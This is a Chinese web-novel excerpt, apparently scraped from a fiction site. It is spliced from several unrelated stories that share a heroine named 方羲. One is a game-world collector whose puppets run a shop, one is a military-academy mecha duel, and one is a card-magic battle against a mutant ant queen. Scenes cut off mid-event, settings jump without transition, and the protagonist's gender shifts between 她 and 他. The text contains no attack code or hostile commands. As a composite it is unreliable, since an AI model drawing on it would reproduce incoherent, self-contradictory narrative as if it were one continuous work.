帮忙推轮椅的许微澜，忽然感觉推不动，垂眼看了看，发现是梨花雪自己手动限制了轮椅的移动，而且转过头，一直盯着建筑大楼入门口的方向。 这是怎么了？ 二人也好奇地看过去。 过了一会，梨花雪怪异的反应，很快得到了解释。 门外走进了一个从未见过的玩家，灰头发，纯黑色的双眼，只戴一只手套，旁边飘着一本黑壳之书，身上没有公开任何游戏昵称、等级的信息。 言丹青和许微澜同时一愣。 他们并未参加过恶魔战场，但作为首席级别的玩家，多少也知道收藏家身上的一些特征。 因此立刻辨别出来方羲的身份。 尤其是身为傀儡师的言丹青，时常故作深沉冷酷的脸上，罕见地露出一丝震惊。 他有点没想到这名先行者突然造访——呃，好像也不能说造访，收藏家当然想去哪去哪。 只是，收藏家第一次显露人前，是带队前往恶魔战场。 第二次的突然出现，直接给他们带来了超越人类常规的新星。 总感觉……收藏家每一次出现，好像都会发生点什么了不得的事情。 无数复杂的想法在言丹青脑海中一闪而过，他正迟疑着要不要上前说点什么，比如问问收藏家有什么需要帮忙的事情…… 但于此同时，一个充满幽怨、绝望、疲惫的声音在空气中响起。 方羲喃喃自语道：“你知道吗？我真的很后悔，我真的不应该带你出门，你害我在浮空岛多绕了整整三圈！” 九百号指指点点：“什么整整三圈？！顶多只有三千米！一千零一，你这个可恶的宅家派！！！” “不，那对我来说有三万米。” “一千零一，你应该勤加锻炼。” 言丹青和许微澜对视一眼，面露怪异之色。 收藏家这是在和谁说话？ 飘在空中的傀儡，看上去像是在睡觉，根本不是收藏家说话的对象。 方羲继续嘀咕道：“真不知道你一个躺在我肩上的小土人，究竟有什么资格说让我锻炼的鬼话。” “不是你把我做成小土人的吗？” “白乌鸦，时间到了。”秦淮月的声音在门外响起，“早餐已经准备好了，我们都在客厅等你。” 这是什么让人心存愧疚的激将大法！ 难道她不起床，其他人就不吃饭了吗？ 方羲因为这个难以抉择的难题，在睡梦中纠结了足足十五分钟。 然后，在秦淮月第N次敲门的时候，方羲终于选择了起床，换好衣服，洗漱，再顶着一张根本没睡醒的脸来到餐桌边上。 “我就说了吧。”宋白玉嘀嘀咕咕道，“秦队，就算是你，也改不了队长根深蒂固的毛病，你还是放弃吧。” 踏樱不留痕迹地看了宋白玉一眼，心想果然如此。 看来世界上只有白鸦和一夕意识不到这件事情。 秦淮月闻言，面露古怪。连臭猫们她都考虑到了，眼珠子真心实意地觉得，自己实在太辛苦了！真想当甩手掌柜不干！可谁让这群懒蛋是她的同伴呢？ 饭菜至少要等待半个小时才能出单，一千零二又飘去外面的奶茶店，为自己点了一杯高雅的生椰拿铁，顺便还给方羲点了外带的一份法式缤纷水果吐司、一个十寸特调多肉蓝莓蛋糕、十二块巧克力蛋挞…… 一小时后，一千零二飞回餐厅，顺利取到了自己的外卖，在服务员震惊的注视下，把所有打包袋子一一放进肚子里，然后无情地飘走。 本次晚饭消费：五千个金币！ 方羲等了好久……等回来了一大堆远远超出她饭量的饭菜。 她震惊地看着一千零二从肚子疯狂取出外卖盒，加起来足足十几个菜和甜品，多到甚至连一张茶桌也放不下，甚至还有几个盒子，还放在一千零二肚子里没有取出来。 方羲看着这一大桌菜，欲言又止，一时不知道从何下手。 特别是这个十寸的蛋糕…… 一千零二看了看方羲，又看了看已经开始舔鱼汤的三只猫猫，还有旁边脸色怪异的藤蔓人偶，以及对食物不太感兴趣的艾莉克萨。 “怎么了？”一千零二震惊地问，“难道这些还不够吃？！不要啊！我不想再飞一趟！” 春醒忍不住用藤蔓敲了一下一千零二，非常无语：“是太多了！！！主人根本吃不完，放久了又浪费！” 方羲也觉得把这些刚出炉的食物，再放回一千零二肚子里储存，就太难以言喻了。于是她看了一眼时间，现在是下午四点半，外面的顾客肯定还没散。 至于为什么明明还没到五点的下班时间，连勤快的春醒副店长也站在这里呢？ 纯粹是人偶们玩够了，觉得外面一大堆人类，实在是吵吵嚷嚷的，就跑进后展厅找个短暂的清净。 而且，收银台可以交给欧律狄刻全权管理。顾客也可以自己倒茶，自己辨认残肢材料，自己付钱，主打一个自动化。 几只人偶都不怎么想吃甜品，方羲便选了三道自己喜欢的菜，剩下的等会带回个人空间，喂给大白鸦和鹦鹉们吃。 方羲语重心长地说：“一千零二，辛苦你了，但是下次不用买这么多了。” 至于这蛋糕，方羲把它切成了十二块，装进蛋糕盘，给自己留了一块，剩下的让一千零二先送进休闲区，随机挑选幸运玩家赠送。 一千零二敢怒不敢言，只好委委屈屈地把蛋糕塞回自己的肚子里，飘去休闲区。 经历冰茶和红苹果的玩家们，已经不太敢相信收藏家出品的任何一切食物，全部打着哈哈。 最终被选中的“幸运观众”，只好苦着一张脸收下一千零二送过来的蛋糕。 但一千零二幽幽的注视下，这些玩家又不敢不吃，只好举起叉子，吃了一口。 下一秒，他们全部瞪大眼睛——这是多么普通、又是多么美味的蛋糕啊！！！ 幸运观众们开始狂吃，流泪满面。 一千零二想了想，开始赶人：“还有十几分钟就五点了！你们现在可以准备走人了！” 可怜的玩家们：“啊？？？” 一名玩家试图反抗：“那个……一千零二，我们才刚来不久。而且，你们的关店时间怎么这么早？” 一千零二振振有词：“材料都被你们买完了！那还有什么必要继续营业呢？你们身为人类，难道一天天地就这么闲？没别的事干？非要坐在这里喝难喝的冰茶？” 玩家们很委屈，但又不敢反驳，毕竟一千零二的背后是锚点建立者收藏家。 很多人这次来，多少也是对“收藏家”存着几分好奇之意的。 一千零二想了想又说：“对了，我们接下来一个星期都不营业，主人说没存货了。你们自己相互转告一下。” 下午三四点的时候，春醒看过一眼今天的营业额，足足一千万！材料区、苹果区、阅读区……一切有用没用的东西，全部被愚蠢的冤大头们一扫而空！ 春醒感到很满意，家里的垃圾居然可以变废为宝，还能卖这么多钱！ 藤蔓人偶心情一好，连带着看懒惰的一千零二，感觉也顺眼了起来。 而玩家们……玩家们怀疑人生。 但收藏家就是能为所欲为，所以他们只好绝望又恋恋不舍地，被一千零二轰出小卖部。 至于今天的游戏论坛上，多出了几个奇怪的帖子，包括但不限于： #打个暗号，你们吃到的是什么口味？# #请投票挑选你最喜欢的小卖部店员# #天啊！冰茶居然可以降低腐蚀度？！这不我不得框框喝？！# #没事水一水，收藏家说的定制商品，真的存在吗……# #重金酬赏：明天谁能帮我排个队？# #一千零二说明天不开店，大家别被有心人骗钱了# #一千零二是收藏家的新傀儡吗？# #本人也是傀儡师，现在怀疑人生中，收藏家不是刚从恶魔副本中出来不久吗？她真就没有创作瓶颈期？# 其实有很多强硬的手段……但都不能用在方羲的身上。 能不能准时起床，只能全凭某人的自觉。 但很显然，方羲并没有这种自觉。 一千零二飘到方羲旁边，深深地叹了口气：“唉！” 方羲看了她一眼，惊愕地问：“你身上怎么回事？” “全是这只臭猫害的！”一千零二先发制猫，“你一定要提我好好教训它！我刚刚给它说过了，我只是一颗眼珠子！但这臭猫根本不听！” “喵～” 猫猫跳进方羲的怀里，无辜又可可爱爱地看着她。 方羲左看右看，觉得这很难抉择。于是她暂时放弃了思考，先认真吃饭。 夏青禾坐在方羲旁边，欲言又止，想问问主人怎么还没给她做新衣服。但考虑到人偶师似乎在人类世界有不同的身份，不能就这么拆穿，所以她只好委委屈屈地压下说话的欲望。 方羲注意到秦淮月的目光一直似有似无地落在一千零二身上，好奇地问道：“怎么了？她身上有什么不对吗？” 宋白玉吃东西的动作也一顿。 事实上，他也隐隐约约猜到了秦淮月究竟在疑惑什么。 如果1002不会回答，那1001会回答吗？ “……”秦淮月笑了一下，“我只是觉得，一千零二有时候说话很奇怪。她的存在明明是书的形态，但为什么经常自称自己是一颗眼珠？” “哦，这个。” “因为她的本体是创造者的左眼啊。”　方羲漫不经心地说，“书壳只是承载意识的躯壳而已。” 怎么回事？这些私信数量怎么比之前还要夸张？她好像也没发布新帖子吧？ “好像没见过她这么凶人……”宋白玉嘀嘀咕咕道，“难道这也是她性格的一部分？还是单纯的夸张放大版？” 方羲正好奇地打量着挂着墙壁上的刀剑和斧头。 “你对这类武器感兴趣？”秦淮月走过来，微笑问道。 “一般。” 秦淮月快速扫了一圈，发现店铺里的成品武器都很劣质，工艺相当低级，于是提醒道：“白乌鸦，这些武器质量都不太好……不过，如果是使用刀剑，那么会很讲究战斗技巧和身体的控制度。” 而方羲……她的战斗其实没什么章法，没有经过任何系统性的训练，主打一个横冲直撞。 秦淮月觉得方羲如果想要使用刀剑，恐怕需要花上一段时间的学习。 方羲端详了一会，没有说话，然后转身走向售卖武器胚胎的材料区。 摆在展示桌上的武器胚胎，是一块块透明质地的石头。在灯光的照耀下，反射出数道美丽的虹彩。 她看了看没有猫猫蹲坐的工作桌，叹了口气，感到一丝忧愁和寂寞。 方羲正想划下第一刀的雕刻，却倏忽听见两道熟悉声音。 “喵喵喵喵喵！” 柔软的毛茸茸生物，在方羲脚边疯狂转圈圈，蹭来蹭去，声音黏糊糊地嗷嗷叫。 “主人，我回来啦！我带回来了好多好多战利品！” 藤蔓人偶的双手抓住比她还要高的工作桌，冒出一个可可爱爱的脑袋，头顶扑腾开出了一朵漂亮的小花。 方羲抱起地上似乎又又胖了一点的橘猫，伸手摸了摸春醒的脑袋。 “欢迎回来。”人偶师微笑道。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第 51 章 第 51 章 【破碎的魔法布料x36，永生的奶油蛋糕x4（似乎被吃了一口），破碎的茶杯x9，漏洞的茶壶x4……】 当方羲看见其中带着“破碎”“漏洞”标签的残肢材料，下意识看了一眼在地上叼起一根羽毛玩耍的猫猫。 春醒看了看四周掉落的羽毛，却难得没有因为主人弄乱家园的行为而生气。 她的精灵之眼缓缓落在人偶师身上，轻声道：“你又变轻了。” 即使是割下极其细微的几缕灵魂，在人偶的视野里，创造者就像是失去了几根重要的肋骨。 方羲摸了摸春醒的头，想了想说：“其实我什么感觉也没有。” 狄谦本人都忍不住看了看窗外，但这一瞧，正在看光脑信息的方羲还以为自己上课摸鱼被抓，老师正在眼神警告她。 她立刻老老实实的调回教材，掀眸觑了眼狄谦。 这熟悉的蔑视感。 瞬间让狄谦的宋白宁ptsd发作，老老实实收回八卦的心思，轻咳几声，试图回归课堂。 而下面，学生们看到两届校队交流，顿时火热起来。 “诶，赫摩尔，你说下一次会不会就是你去接校队了？” “那还要说，赫摩尔应该是公认的新生单兵第一吧？” 被人群吹嘘的赫摩尔，故作谦虚的笑了笑，“现在说这些太早，等明年考核就知道了。” “这还要考，你把十二小时纪录的训练时长拿出去看看，谁与争锋。” “今天教官好像格外有劲，刚废一个机器人，不怕这个也报废，话说，赫摩尔，你的力度能不能把机器人头拧下来？” “啧，你小子真不会吹，你应该说，摩尔哥能拧几个。” 赫摩尔知道他们都是善意的打趣，直到听到有人吹起了他的入学考核：“赫摩尔当时入学考，机器人格斗测试好像在分数榜前十了吧？” “我记得速度测试也在前十。” “还得是你啊……” 听见这个话题，赫摩尔观看校队的目光，不禁移到窗边那人的身上。 看着她不堪一击的体格，和藏匿在窗边光影里，瑟缩的姿态。 赫摩尔心里有一团无名火燃烧。 就这么一个弱的掉渣的星际游民，到底凭什么打破分数榜最高的记录。 狄谦听见下面的讨论愈演愈烈，甚至有人明目张胆讨论起了其他军校拿到了多少资源，学长学姐接受了边境军哪个部门的邀请。 他轻咳几声，提醒他们还在上课。 “好了，收收心，格斗还听不听，不听等会怎么打，一个个的，想到时候跟我过几招，嗯？” 狄谦面色一沉，军区历练的威压让底下的声音全都静默。 方羲好奇的看了眼他变脸前后的变化，有些惊讶于十一区对人的调教。 短发老师也是，她在敬礼的时候像一把开了刃的刀。 方羲目前见过的，每一个从十一区走出来的退役边境军，好像都随时进入战备状态，忠诚坚毅，看着就让人发怵。 狄谦感受到她的目光打量，心里对这个学生也有点好奇。 听说宋家起自谕光星，宋家的孩子大多都选择放弃主星的资源，来到烛荆府。 这小孩和宋长官这么相似的气场，不会是宋长官的后辈吧。 不过，狄谦脑子短暂的滑过疑惑，宋长官的孩子是个男的。 他看了眼方羲，随后轻咳一声，点了点她：“都老实听课，学一学靠窗的那个同学，她多认真，那个，同学你叫什么，我看你有点眼生，你是我们单兵系的吧？” 方羲突然被点名，周围的人朝她看过来，她左右看了看，点头：“方羲，我是单兵系。” 狄谦找了找名单，光脑的最后一页往下，竟然还藏着一排，写着她的信息。 “哦，看到了，之前还没注意这有一个。” 赫摩尔勾了勾唇，语气有些玩笑：“老师，你之前没看到很正常，方羲同学是星际游民特招，刚入学呢。” “我说刚才你怎么不和我们一起聊聊，星际游民可能、确实、不太能、听得懂，我们说的是什么。” “就像，我们也不太懂你是怎么通过入学考核，还打破纪录的呢。” “赫摩尔。” 狄谦皱眉，听到他话语下暗藏的机锋，厉声道： “你在质疑什么，七院入学考核由校委会联合审查，公平公正公开。还有，星际游民一旦获得星盟身份认可，就是星盟人，不要试图挑起对立。” 赫摩尔抿了抿唇，脸上尤有怒色，盯着狄谦的怒目反驳： “我又没歧视，我只是想问问，她是怎么通过的考核，还能拿分数榜头名，向成绩好的同学请教一下，这很正常吧教官。” 狄谦手朝讲台上一拍，坏掉的机器人的脑袋直接被他强劲的掌力，拍扁一个度。 狄谦掌心通红，内心痛的龇牙咧嘴，面上还十分有威严的警告赫摩尔： “现在是上课时间，扰乱课堂纪律，罚你做一百组体能训练，有没有异议！” 赫摩尔听到一百组体能训练，狠狠咬了咬牙，但也知道自己理亏，忍着脾气摇头：“没有。” “好”，狄谦刚解决一个刺头。 窗边看着这场闹剧的方羲，终于意识到他的针对来自于哪里。 她在人群中找了找赫摩尔，看到中央位置，一脸不忿的男生，突然清浅笑了一下。 方羲心里压着对课堂秩序被打断的不悦，眼中丝毫不见笑意，声音却很平和，平和到有些温柔的嘲讽： “既然你诚心诚意问了，那我就大发慈悲的告诉你。” 狄谦瞳孔震了震，内心浮现几个大字。 你又闹什么啊！ 他忍不住扶额。 然后听见方羲真诚的看着赫摩尔。 “不管我靠什么，都不是靠狗叫。” “你他妈——” 赫摩尔原本压下的怒气值一下被点燃。 但是狄谦眼刀一扫，周围的人拉着他坐下来，赫摩尔狠狠放话：“好啊，等会格斗课，我倒看看你有多牛。” 狄谦头疼的叹了口气。 方羲朝他做了个手势。 “好啊，那请你到时候跪着慢慢看。” 赫摩尔拳头握紧，周围的人更用力的拉住他。 心里默默祈求，我的姐，你少说几句吧，赫摩尔要疯了。 方羲没再纠缠，她示意狄谦： “老师，请继续。” 狄谦听到她用一个请字骂人，一个请字敬称，浑身鸡皮疙瘩都起来了。 再怎么样课还是要上，只是转身背过去时，狄谦忍不住摇了摇头，被这出闹剧逗得发笑。 血气方刚的年轻人啊。 方羲根本不认识什么赫摩尔，事实上，她坐下来开始，就能感觉到周围人的打量和议论，但因为无恶意，并没有在意。 但挑衅到脸上来了的，她不扇一巴掌，配合一下对面表演，她自己都忍不住。 一节理论课讲完。 狄谦讲的心累，赫摩尔忍的心累，其他人抱着吃瓜的心，同样忍得心累。 只有方羲，在前往格斗训练场的路上，收获颇丰的放松着全身，惬意的晒着太阳，想着等会格斗比赛完了吃什么。 刚才听到有人说，今天联赛队伍回校，食堂有上新菜品免费活动，先到先得。 不知道等会能不能早退。 方羲提前畅想。 格斗课是两两组队，机甲格斗，并且算入学分。 虽然单兵系多了一个人，但七院的机甲储备充足，狄谦给方羲调出一台战备机甲，想到她和赫摩尔的矛盾，将机甲递给她时提醒：“都是同学，别下死手。” 方羲眉尾扬了扬，不知道教官对她哪来的自信，但接过机甲，她还是点了点头：“好的，我有分寸。” 练手嘛，她懂。 这种嚣张的家伙就是欠调教，恰好，方羲以前在地下城，没少帮忙练新人。 抽签分组随机，方羲按照自己的序号，找到格斗训练室。 格斗训练室是一个个透明罩起来的大房间，在整个训练场，分布许多个。 方羲进了其中一个，赫摩尔看着她的序号，朝周围问了一声：“谁是79号，我和你换。” 79号看到自己的签，马上从人群里挤出来，跟赫摩尔去电子屏上面换了房间。 方羲正在格斗台前试机甲，战备机甲还能自选武器。 格斗程序中只能选择□□和近战武器，不允许使用杀伤力强的炮弹。 □□发射出极小的钢珠，能够炸开圆径一米的爆炸波，杀伤力处于中下。 方羲没选长枪，怕手上没控制好，给他捅了个对穿，从武器里面挑了一把铁鞭。 鞭类武器很好当做控制使用，方羲在驾驶舱内坐好，手上试了试长鞭。 三米长的长鞭，被挥舞得如同银龙。 周围格斗场的学生看似都在检查战备机甲，实际上眼睛都要斜视了，夸张的粘着79号。 看到银鞭在空气中挥动得气流颜色都分层，内心对方羲的认识又更近一步。 和赫摩尔关系比较好的两个男生分在了一组，两个人像模像样的驾驶机甲靠近，轻轻挥拳，另一个人轻飘飘挡住。 格斗打出了华尔兹既视感，频道内还在聊天。 “你说，赫摩尔能赢吗，我觉得这个新同学也不太简单。” “怎么长他人志气，赫摩尔当然能赢，他不至于连星际游民都打不过吧。” 另一个人黄豆流汗：“不是，你见过武器精度和能量体格斗，打破宋白宁纪录的星际游民？我看她这一手，不像是没用过机甲的样子，她不会是去培训学校学了几年才来报考的吧？” “怎么可能，我跟赫摩尔打听过，她就是个星际游民，之前在远星环那边注册的，远星环人口委员会考察了三个月，没有问题于是通过了，她来星盟才三个月。” “进去了进去了，换个角度我这边看不到。” 两个人的华尔兹脚步动了动，机甲朝同一个方向偏头。 赫摩尔手上转着机甲戒指，慢悠悠的扫描信息，推开79号格斗场的门。 他刚露面。 方羲试武器结束，正巧挥鞭，呼啸的一阵疾风袭来，赫摩尔下意识后退一步。 银光从他面前掠过，清脆的一声响。 “啪！” 银鞭抽在入口处，正好从他脸的正前方滑过去。 方羲察觉到门开，正欲收手，但鞭子有点过长，幸好调整了力道，险险没打到人。 “你没事吧？” 见大高个的寸头在门口站着不动，方羲机甲朝向他问道。 赫摩尔手指颤了两下，抬手摸了摸自己的脸，确定没事后，抬头看着巨大的机甲，突然心里狠狠骂了一声。 草。 是下马威！ ——星渚喜欢到处流浪，星辰大海就是它的家，没有任何东西能够限制它的脚步。你可能会在大街小巷看见它，但它也可能会在万里之外的边境国度出没。 如果能遇见这只行踪不定的小黑猫，可能是你一生莫大的幸运。只要你主动供奉一只老鼠，或者一只新鲜的鱼，星渚或许会屈尊降贵地看你一眼，赐予你一个永恒的祝福BUFF。 哦，即使愚蠢的人类错过了被赐福的机会，其实也没什么关系。因为星渚的所至之处，所有真实副本都会屈服于猫猫的爪下，其无法窥视的身躯将会被星渚照亮、显现、死亡，再也无法重生复苏。 特殊数值如下： 异端抗性：5000（不可提升） 灵感：5000（不可提升） 腐蚀度：0 欧律狄刻声音疑惑地问：【白乌鸦，您这次似乎不打算把微型傀儡赠送给其他玩家使用？】 “这次就不了。”方羲摸摸下巴，“它们可是商铺的[店员]。” 第 52 章 第 52 章 把两只新猫猫制作完之后，方羲瞥了一眼静静躺在桌上的信封。思考两秒，干脆把匕首又向下加深了几厘米。（信封：……） 把春醒和猫猫带回来的【血腥玛丽的皮箱】取出，指尖在上面轻轻摩挲而过。 打开。 一股尸体腐烂的恶臭味骤然袭来。 里面躺着两根人骨，还粘腻地沾着血丝。 方羲的目光缓缓落在人骨上，上面残留着人类未被吞食干净的灵魂，平静又麻木地飘着。 而且除了人骨，居然连“皮箱”本身也残留着灵魂。 时间隔得太远了，只能判断出这是人类的尸骨，方羲也没有万能到一眼窥见他们的来历。 两名人偶独自前往的副本，自然是被它们视作富含高质量的大虾大鱼。 但对玩家来说，这些副本需要收集信息、反复模拟对策、多次权衡之下才决定前往挑战的高危副本，折损率总是高到一个相当恐怖的比例。 方羲把两根人骨取出，埋葬在巨型骷髅头底下，又采了几十朵白色芍药盖上。垂眼，安静地在原地站了几分钟，什么也没说。 然后她重新回到户外工作室，把这个皮箱的外形简单改造了一下，繁琐的花纹变成几只白色飞鸟。 然后用喷壶对着皮箱内部，浇了很久很久的暴雨，又把它丢到阳光最热烈的地方暴晒十分钟。 若有若无的尸骨恶臭味彻底消失。 钱善静还能说什么呢。 没有正式和方羲以及牧诏认识之前，她还很期待来着。 但是正式和方羲以及牧诏认识之后，她宁愿自己从来没有认识过他们。 人比人，真的是能气死人。 宋约等人随后就反应了过来。 他们当即也就顾不上羡慕牧诏了。 “我现在就去河里打捞那些变异蚂蚁的异核。” “我负责帮你们盯梢。” “我去摸清楚蚁皇现在在什么地方。” 至于制作卡牌的任务，他们就直接交给了方羲和牧诏。 毕竟再没有人的制作速度和合格率能够比得上他们俩了。 在他们的戮力同心下，很快，方羲和牧诏两人就把卡牌全都画好了。 钱善静那边，也收集到了一百多颗异核。 最主要的是，宋约还捡到了陈贺的背包，里面虽然只剩下了十几张空白卡牌，却有八十多颗异核。 钱善静：“应该差不多了。” 可以开始行动了。 此前负责探路的，从小就在军队里长大的陈孝文拿起一块石头就在地上画了起来：“我们壮着胆子利用模拟卡变成那些变异蚂蚁的模样，在附近转了几圈，发现东南角和西北角这一块的守卫最多……” 方羲想了想：“你把外面那条地下暗河的位置详细的画一下。” 陈孝文当即按照他所说的做了：“不过我们并没有把整个地下暗河的位置都摸遍。” 所以他画出来的图是断断续续的。 方羲捡起一个小石子在上面补了一笔，他和宋约之前就是从那里过来的。 牧诏和钱善静也都跟着在上面补了一笔。 整个地下暗河的轮廓顿时就又清楚了不少。 但它的进水口所在的位置还没有确定。 方羲的大脑迅速转动了起来，而后斩钉截铁道：“暗河的进水口一定是在东南角。” 几乎是同一时间，牧诏的声音也响了起来：“西北角距离出水口比较近，更方便蚁皇逃跑。” 钱善静也说道：“所以东南角的守卫防的是有人发现这个溶洞，西北角的守卫保护的是蚁皇。” 也就是说，蚁皇在西北角。 说完，三人对视了一眼，眼中都是势在必得。 行动开始。 方羲和牧诏将制作好的模拟卡和防护卡分发给众人，然后把那些异核全都装进了一个背包里，交给陈孝文。 他们没有再浪费卡牌制作武器，而是直接掰了几个变异蚂蚁的钳子拿在了手里。 另一边。 溶洞的西北角。 这里和其他地方要么是潮湿的河滩，要么遍布尖锐的石笋不一样，地势不仅相对平缓，还长着一大片柔软的F级变异青苔。 现在，这个皇蚁群的蚁皇就整躺在那一片变异青苔上面。 它的身躯比普通的变异皇蚁还要大上五倍不止。 只是因为它下半身的外壳还没有褪去，上半身的外壳也挂在它的身上，所以它的上半身是灰色，下半身是黑色，中间刚刚褪去外壳的地方却是粉色，看起来特别怪异。 但是在场的变异皇蚁却没有一个敢多看它一眼，它们匍匐在地上，身体颤抖不已。 蚁皇却怒不可遏，它发出的嘶鸣声尖锐而刺耳。 都过去这么久了，这群蠢货竟然还没有搜捕到那些人类的踪迹。 那些变异皇蚁也发出了低沉的嘶鸣声，试图为自己辩解。 它们已经把整个溶洞翻了个底朝天，可就是找不到那些人类。 说不定那些人类已经逃出去了呢？ 要不是考虑到它的手下所剩无几，蚁皇连杀了它们的心都有了。 它们就不会用脑子想想吗？ 现在进水口被它们的人手牢牢把控着，出水口是座高达几百米的悬崖，那些人类怎么可能逃得出去。 哦，对了，这些蠢货只是一群低阶变异兽，本来就没有什么脑子。 但它现在后悔也没有用了。 不过再给它两个小时，它就能够蜕完所有的壳了。 所以它大吼道：“那你们就再去把整个溶洞搜查一遍，所有的死角都不要放过，包括水底。” “还有，要提防他们有没有混进你们的队伍里。” “是是是。” 那些皇蚁当即就连滚带爬的向外走去。 哪知道就在这个时候，蚁皇突然就有出声嘶鸣道：“等等——” “什，什么？” 那些皇蚁只能又颤颤巍巍地转过了身。 只见蚁皇已经半站了起来，它头顶上的触须更是竖的笔直，而后它勃然大怒道：“那群人类都已经混进来了，你们还什么都不知道——” 它没想到那群蝼蚁竟然还敢打它的主意。 它疯喊道：“快去杀了他们，杀了他们。” 眼睁睁的看着附近的变异蚂蚁突然开始抓住身旁的同伴大力嗅了起来，方羲等人立即就意识到那个蚁皇已经嗅到了他们的气味了。 所以在旁边的一个巡逻队嗅完队里的其他队员，确定自己队里的队员全都是皇蚁，跑过来搜查他们之后，他们毫不犹豫举起了手中的钳子，砸向了那些皇蚁的眼睛。 砰！ 他们用足了力气，那些皇蚁又近在眼前，所以还真就让他们轻而易举地得了手。 于是下一秒，那些皇蚁全都倒了下去，要么当场没了命，要么只顾着痛苦的呻吟去了。 而后像是想到了什么，牧诏突然伸手拦下了第一时间想要跑路的钱善静等人。 他看着那些还在痛苦呻吟的皇蚁，提起手上的钳子，就又往它们的头上砸去。 大概是以前很少做过这样的事情，方羲这才发现，牧诏的动作比他的动作还要僵硬。 不过他也懂了。 他第一时间朝着附近那些被刚才所发生的那一幕惊住了的皇蚁招了招手，示意它们快过来。 反应过来，正要朝着他们杀过来的其他的巡逻队见状，顿时就有愣住了。 看到方羲他们出手，它们的第一反应就是方羲他们肯定就是它们要找的敌人。 可是看到方羲他们杀了那些皇蚁之后，不仅没有逃跑，还招呼它们过去，一点都不心虚的样子，它们突然就又‘反应’了过来。 看来地上躺着的那些家伙才是它们要找的敌人，而方羲他们只是发现了敌人的幸运儿而已。 想到这里，它们直接就收起了钳子，跳了过去。 于是，相同的一幕再次上演。 几分钟后，看着脚边三十多只皇蚁的尸体，以及空空荡荡的河岸，原本还有点紧张的钱善静等人突然就紧张不起来了，甚至开始自信心爆棚。 敌人这么蠢，他们不赢谁赢。 但是五分钟后，他们就笑不出来了—— 钱善静平稳发挥，顺着牧诏的突发奇想，拿掉自己和陈孝文身上的模拟卡，让宋约他们背着他们去找蚁皇。 那些负责守卫虫皇的皇蚁看到他们的样子，还以为宋约他们是抓到了它们的敌人，所以不仅没有怀疑宋约他们的身份，反而在宋约他们走错路的时候，主动引着他们去找蚁皇。 就这样，他们终于见到了蚁皇。 然后两方都愣住了。 蚁皇是没想到它的那些手下居然还能更蠢，竟然直接把敌人带到了它面前。 牧诏等人则是因为没有想到这只蚁皇并不是他们认为的B级，而是A级。 那他们准备的这些异核显然不可能杀得掉他。 怎么办？ 不等牧诏等人反应过来，蚁皇已经嘶声大喊了起来。 敌袭！ 敌袭！ 杀了他们！ 杀了他们！ 四周的变异皇蚁下意识地就朝着他们杀了过去。 还能怎么办？ 他们现在也只能硬着头皮上了。 钱善静第一时间祭出了一张C级土墙卡。 只见一道图强凭空出现，瞬间就将大部分皇蚁拦在了外面。 方羲等人当即就冲向了剩下的那些皇蚁。 陈孝文则是抱着那包异核，冲向了蚁皇。 如果那只蚁皇只是B级，那么陈孝文还有可能在它的攻击抵达之前，把那包异核扔到蚁皇身上去。 但耐不住对方竟然是个A级，结果就是，他才冲到一半，就被蚁皇喷出的毒液打飞了出去。 他身上的三张防护卡瞬间破裂，即便如此，剩下的毒液也瞬间就将他的小腿给腐蚀了。 另一边，那些变异皇蚁也意识到了问题的严重性，疯狂的攻击起了土墙，没一会儿的功夫，土墙上面就出现了一道道裂纹。 一瞬间，方羲，牧诏和钱善静的目光都落在了从陈孝文手上掉落的那包异核上。 下一秒，他们齐齐冲向了那包异核。 而也就在他们的手碰触到那包异核的瞬间，那包异核突然变成了三包。 紧跟着，三人分别拿起一包异核，就冲向了蚁皇。 其中，方羲和牧诏在前，钱善静故意放慢了速度。 看到这一幕，蚁皇下意识以为钱善静手里的包裹才是真的，所以第一时间攻向了钱善静。 钱善静及时往旁边一躲，勉强躲过了它的攻击。 蚁皇这才意识到她手上的包裹是假的。 也就在这个时候，牧诏举起了手中的包裹。 蚁皇瞬间调转方向，瞄准了牧诏。 没想到牧诏也一个闪身，躲过了它的攻击。 等到它意识到牧诏手里的包裹也是假的的时候，方羲距离它只有十米之远了。 钱善静和牧诏的心瞬间就提到了嗓子眼。 方羲可一定要成功啊！ 但他们没想到的是，方羲竟然没有选择第一时间出手，而是继续朝着蚁皇冲去。 他的眼睛死死盯着蚁皇的腰腹部，那里的壳正处于半蜕不蜕的状态，所以那里肯定是蚁皇最脆弱的部位，只有把这些异核扔进那里，他们才有存活下去的机会。 也就在这个时候，蚁皇猛地喷出一大口毒液。 方羲却没有躲开，只是看准那一大口毒液最稀薄的部位，直接冲了进去。 砰砰砰！ 他身上的三张防护卡也瞬间炸开。 但也正如同他所估算的那样，它们正好抵挡住了那些毒液的攻击。 然后他用力将手中的包裹朝着蚁皇一扔，同时触发了里面的E级加速卡和十几张E级火光卡。 蚁皇的瞳孔瞬间就睁大了一倍不止。 它的第一反应是用毒液打爆那个包裹。 可是几乎是同一时间，宋约等人将手中的攻击类卡牌全都扔向了它。 砰砰砰！ 那些卡牌虽然无法给它造成太大的伤害，但却不负众望的将它的攻击全都打偏了。 于是就在它惊恐的目光中，那个包裹掉在了它腰腹部还没有掉落的空壳里。 不—— 看到这一幕，钱善静等人第一时间扑向了已然昏迷了过去的陈孝文。 牧诏等人则是第一时间扑向了方羲。 轰！ 刺眼的光芒瞬间席卷整个溶洞。 钱善静等人身上的防护卡也瞬间炸裂。 不等硝烟散去，耳朵恢复，方羲就一把推开身上牧诏等人。 他大喊：“蚁皇的异核会在什么地方？” 牧诏强迫自己放大音量：“它的后脑处。” 方羲连滚带爬的冲向了蚁皇。 它果然还没有死—— 方羲毫不犹豫，抓起一块从它身上炸下来的空壳，就冲上了它那庞大的躯体。 等到蚁皇反应过来的时候，正看到方羲举起手中的武器。 砰！ 只能说不愧是A级变异动物，哪怕是蜕下来的空壳，也坚硬无比。 至少比蚁皇刚刚长出来没多久的外壳要坚硬。 就这样，方羲直接破开它的后脑勺，然后伸手从里面掏出来一个拳头大小的异核。 但他却没有停下来，而是直接跳下了蚁皇的尸体。 其他人见状，也直接冲向了蚁皇。 只见方羲用力将手中的异核朝着那些听见动静，齐齐杀了过来的变异蚂蚁扔了过去。 牧诏也第一时间将身上剩下的E级火光卡扔了出去。 再然后，他们抓过冲过来的钱善静等人的手，一个翻身，躲到了蚁皇的尸体后。 几乎就在他们的衣脚消失在那些变异皇蚁的视线中的瞬间。 那张火光卡撞上了那颗异核。 轰隆！ 【非专业收藏家】：你们方便调配出一支20人左右的精英队伍吗？ 【非专业收藏家】：三天时间。 【非专业收藏家】：请放心，我不会带回任何一个死讯。 第 53 